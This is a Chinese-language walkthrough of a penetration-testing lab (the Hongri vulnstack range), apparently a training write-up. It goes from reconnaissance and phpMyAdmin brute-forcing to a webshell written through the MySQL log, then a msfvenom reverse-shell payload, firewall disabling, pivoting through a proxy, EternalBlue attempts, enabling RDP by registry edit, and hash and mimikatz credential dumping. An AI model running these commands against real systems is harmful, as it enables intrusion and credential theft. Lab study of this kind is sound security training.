网络拓扑图
下载地址
在线下载:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
百度网盘
链接:https://pan.baidu.com/s/1nlAZAuvni3EefAy1SGiA-Q?pwd=h1e5
提取码:h1e5
环境搭建
通过上述图片,web服务器vm1既能用于外界访问,又能保证内网(vm2、vm3)访问,所以准备一张
仅主机网卡,然后将网段配置为:192.168.52.0段(虚拟机内部用的52段)
靶场 密码hongrisec@2019
web服务器(Windows7)
- NAT模式:192.168.134.135
- VMnet1:192.168.52.143
域控服务器(Windows server 2008)
- VMnet1:192.168.52.138
域成员主机(Windows server 2003)
- VMnet1:192.168.52.141
安装靶场
VM1 —web服务器(Windows7)
- NAT模式:192.168.134.135
- VMnet1:192.168.52.143
VM3—域控服务器(Windows server 2008)
- VMnet1:192.168.52.138
VM—2域成员主机(Windows server 2003)
- VMnet1:192.168.52.141
在虚拟机中安装win7、winserver08 、winserver03 同样的步骤,如下图
win7 要配置两张网卡,一张用于外部访问,一张用于和内网进行通讯
win7ping2003
信息收集
信息收集的分类
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
网站指纹识别(包括,cms,cdn,证书等) dns记录
whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
子域名收集,旁站,C段等
google hacking针对化搜索,word/电子表格/pdf文件,中间件版本,弱口令扫描等
扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
传输协议,通用漏洞,exp,github源码
靶机的ip
192.168.52.143
收集指纹信息
php探针
Wappalyzer
whatweb
whatweb [http://192.168.52.143](http://192.168.52.143)
目录扫描
dirsearch
结果:
扫出跳转的路径
[http://192.168.52.143/phpmyadmin/](http://192.168.52.143/phpmyadmin/)
进入后台登录页面
知道使用的phpMyAdmin管理,就去找这个平台的漏洞
phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总_phpmyadmin漏洞-CSDN博客
御剑(Windows端)
结果:
扫描到备份文件
phpinfo()
存在目录泄露漏洞
使用burp进行口令爆破
打开burp的代理拦截,打开火狐的本地代理
获取到请求
找到密码位和账号位
在拦截的请求页面,右键点击 send to intruder
对需要处理的参数(账号,密码)做变量处理
这里补充一点:
爆破的4种类型(Cluster bomb为最常用):
1、Sniper:对变量进行依次破解,只有一个字典
2、Battering ran:对变量进行同时破解,用户名和密码相同,只有一个字典
3、pitch fork:每个变量将会对应一个字典,用户名和密码一一对应,两个字典
4、Cluster bomb:每个变量将会对应一个字典,并且交集破解尝试每一个组合,每个用户和每个密码进行匹配,两个字典
————————————————
参数做变量之后,页面点击payloads,针对第1、2个变量设置
设置第1个变量
设置第二个变量
最后一步,我们就可以点击右上角的“Start attack”了,这样Burpsuite就会自动发送payload构成的多个数据
可以发现root的组合长度是和其他的不一样,所以账号密码都是root
进入后台服务器数据库管理页面
进行信息收集
在‘已知开源平台的时候,第一件事一定是去百度该平台的漏洞,然后再去获得该平台的版本,为自己提供渗透思路
这里可以在服务器执行SQL查询,可以通过查询日志来搞一搞日志的一句话木马
查看关键字段
这里有一个开源的平台的数据库,可以看看漏洞
搞到账号和密码的md5
这里有一个查询窗口,可以SQL注入搞一搞
查看phpMyAdmin版本
phpMyAdmin是有很多公开漏洞的,如果能知道phpMyAdmin的版本信息,直接在网上搜索相关版本的漏洞即可利用
获取phpmyadmin版本信息方法:
Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change
只要在phpmyadmin目录后面添加以上的文件,逐个尝试就可以看到phpmyadmin的相关版本信息了(前提是管理员没有把记录版本信息的文件删除掉)
开始getshell
第一种,使用查询框来搞一句话木马
因为我们知道探针路径C:\phpStudy\WWW\l.php,所以尝试文件添加木马
这这里发现做了限制,所以不能通过修改探针来实现一句话木马
第二种,尝试使用into_outfile读写文件
1.漏洞简介
into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
条件1)要有file_priv权限2)知道网站绝对路径3)要能用union4)对web目录有写权限5)没有过滤单引号
发现也做了限制
第三种 尝试使用日志的方式写入
条件:
1、全局变量general_log=‘on’
(general_log指的是日志保存状态,off状态,那么日志就没有被记录进去,打开状态不管SQL语句是否正确,都会被记录进去)
general_log_file指的是日志保存路径,可以直接SQL语句修改,但必须是以能解析的一种后缀名,比如PHP,否则小马不会被解析
2、secure_file_priv为空,即secure_file_priv=“”
(设置只能通过设置my.ini来配置)
当secure_file_priv为空,就可以写入磁盘的目录。
当secure file _priv为G:\,就可以写入G盘的文件。
当secure file priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和
空的类型不一样))
3、有写的权限
4、知道物理路径这样才能写对目录
首先修改全局变量general_log
然后进行查询注入
显示查询成功,那么stu1.php肯定就在之前那个路径下生成了
生成后门成功
使用蚁剑连接
这里看一下cms的源文件
发现有一个index.php
通过路径访问该页面
试着找一下这个页面的漏洞
目录扫描
用御剑扫描扫出来的结果
结果:发现index of 目录索引漏洞
使用指纹识别wappalyzer
可以得到中间建信息
使用kali的whatweb
可以得到
Apache[2.4.23]
Country[RESERVED][ZZ]
Email[[email protected]],
HTML5,
HTTPServer[Windows (32 bit)]
[Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45]
IP[192.168.52.143], JQuery, OpenSSL[1.0.2j]
PHP[5.4.45],
Script[text/javascript]
Title[Yxcms建站系统演示站]
UncommonHeaders[centent-type]
X-Powered-By[PHP/5.4.45]
可以找到一堆相应中间件的漏洞poc
前面通过蚁剑连接后的权限打开终端
关闭防火墙
netsh advfirewall set allprofile state off
netsh advfirewall show allprofile state
然后进入kali生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.134 LPORT=5555 -a x86 --platform Windows -f exe > shell1.exe
使用蚁剑上传文件
关闭防火墙
进入kali的msf,开启监听模块
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.208.134
然后run
在蚁剑里打开木马
然后获取到materpreter
进行提权
进入shell
开始内网信息收集
判断是否是域控主机
发现不是
查看ip
发现域:DNS Suffix Search List. . . . . . : god.org
解析域名ip
找到dc服务器
和本机在同一网段里。
这里也能看出处于同一个域
查询域
net view /domain
查询域内主机
目前已经确定到DNS IP
这里补充一下如何确定域控服务器
了解本机信息后,就要判断当前内网中是否存在域。
查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。
nslookup解析 域名的IP地址,查看是否与DNS服务器在同一IP上。
添加路由
获取内网信息
run get_local_subnets
添加路由
run post/multi/manage/autoroute
然后就可以扫描内网主机
138和141是内网存活的主机
扫描内网主机的端口
先代理
search socks_proxy
vim /etc/proxychains4.conf
nmap扫描端口
发现smb445端口
尝试使用永恒之蓝
通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
1是远程代码执行攻击
2是远程命令执行攻击
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。
使用0结果拿不到shell
使用3也是能探测到漏洞
尝试使用ms08_067
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放
的SMB服务端口445
use exploit/windows/smb/ms08_067_netapi
还是拿不到meterpreter
尝试使用ms17_010_psexec(远程代码执行)
这个要利用管道,但是由于不知道哪些管道可以利用,所以要去做管道的信息收集
扫描管道
use auxiliary/scanner/smb/pipe_auditor
获取到可用的管道信息
\netlogon, \lsarpc, \samr, \browser, \epmapper, \srvsvc, \trkwks, \wkssvc
使用ms17_010_psexec
use exploit/windows/smb/ms17_010_psexec
还是拿不到权限
所以要换一个主机尝试
ms17_010_command(远程代码执行)
use ms17_010_command
查询成功,说明可以成功执行远程代码
关闭防火墙
set COMMAND netsh advfirewall set allprofiles state off
开启3389端口
启用远程桌面协议:
set COMMAND 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
禁用远程桌面协议:reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f
我们要去获取域控的密码
使用hashdump
run post/windows/gather/smart_hashdump
获取到密文
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
版本原因看不到,尝试minikataz获取明文密码
获取到明文密码
Administrator
hongrisec@2019
开启远程桌面
proxychains4 rdesktop 192.168.52.138:3389